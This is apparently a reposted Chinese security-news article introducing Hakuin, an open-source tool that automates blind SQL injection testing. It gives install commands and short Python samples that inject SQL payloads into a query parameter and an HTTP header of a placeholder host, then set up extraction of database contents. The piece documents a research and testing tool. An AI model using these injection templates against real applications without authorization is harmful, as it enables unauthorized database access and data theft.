前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Hakuin:一款自动化SQL盲注(BSQLI)安全检测工具

Hakuin:一款自动化SQL盲注(BSQLI)安全检测工具

作者头像
FB客服
发布2024-07-31 18:19:19
1530
发布2024-07-31 18:19:19
举报
文章被收录于专栏:FreeBuf
关于Hakuin

Hakuin是一款功能强大的SQL盲注漏洞安全检测工具,该工具专门针对BSQLi设计,可以帮助广大研究人员优化BSQLi测试用例,并以自动化的形式完成针对目标Web应用程序的漏洞扫描与检测任务。

该工具允许用户以轻松高效的形式对目标Web应用程序执行BSQLi安全检测,并采用了多种优化方法,包括预训练和自适应语言模型、机会性猜测和并行性机制等。

工具安装

由于该工具基于Python 3开发,因此我们首先需要在本地设备上安装并配置好最新版本的Python 3环境。

源码安装

广大研究人员可以直接使用下列命令将该项目源码克隆至本地:

代码语言:javascript
复制
git clone https://github.com/pruzko/hakuin.git

然后切换到项目目录中,并执行安装命令:

代码语言:javascript
复制
cd hakuin

pip3 install -e .

pip安装

除此之外,我们还可以直接使用pip3命令安装Hakuin:

代码语言:javascript
复制
pip3 install hakuin

工具使用

Hakuin附带一个简单的封装工具,hk.py允许我们直接从命令行使用Hakuin的基本功能。要了解更多信息,请运行:

代码语言:javascript
复制
python3 hk.py -h

使用样例

基于状态推断的查询参数注入检测

代码语言:javascript
复制
import aiohttp

from hakuin import Requester



class StatusRequester(Requester):

async def request(self, ctx, query):

        r = await aiohttp.get(f'http://vuln.com/?n=XXX" OR ({query}) --')

return r.status == 200

基于内容推断的Header注入检测

代码语言:javascript
复制
class ContentRequester(Requester):

async def request(self, ctx, query):

        headers = {'vulnerable-header': f'xxx" OR ({query}) --'}

        r = await aiohttp.get(f'http://vuln.com/', headers=headers)

return 'found' in await r.text()

尝试提取SQLite/MySQL/PSQL/MSSQL数据

代码语言:javascript
复制
import asyncio

from hakuin import Extractor, Requester

from hakuin.dbms import SQLite, MySQL, PSQL, MSSQL



class StatusRequester(Requester):

    ...



async def main():

# requester:    Use this Requester

# dbms:         Use this DBMS

# n_tasks:      Spawns N tasks that extract column rows in parallel

    ext = Extractor(requester=StatusRequester(), dbms=SQLite(), n_tasks=1)

    ...



if __name__ == '__main__':

    asyncio.get_event_loop().run_until_complete(main())

许可证协议

本项目的开发与发布遵循MIT开源许可协议。

项目地址

Hakuin:

https://github.com/pruzko/hakuin

https://blackhatmea.com/session/hakuin-injecting-brain-blind-sql-injection https://conference.hitb.org/hitbsecconf2023hkt/session/hakuin-injecting-brains-into-blind-sql-injection/ https://wootconference.org/papers/woot23-paper17.pdf

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-07-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 源码安装
  • pip安装
  • 基于状态推断的查询参数注入检测
  • 基于内容推断的Header注入检测
  • 尝试提取SQLite/MySQL/PSQL/MSSQL数据
相关产品与服务
检测工具
域名服务检测工具(Detection Tools)提供了全面的智能化域名诊断,包括Whois、DNS生效等特性检测,同时提供SSL证书相关特性检测,保障您的域名和网站健康。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档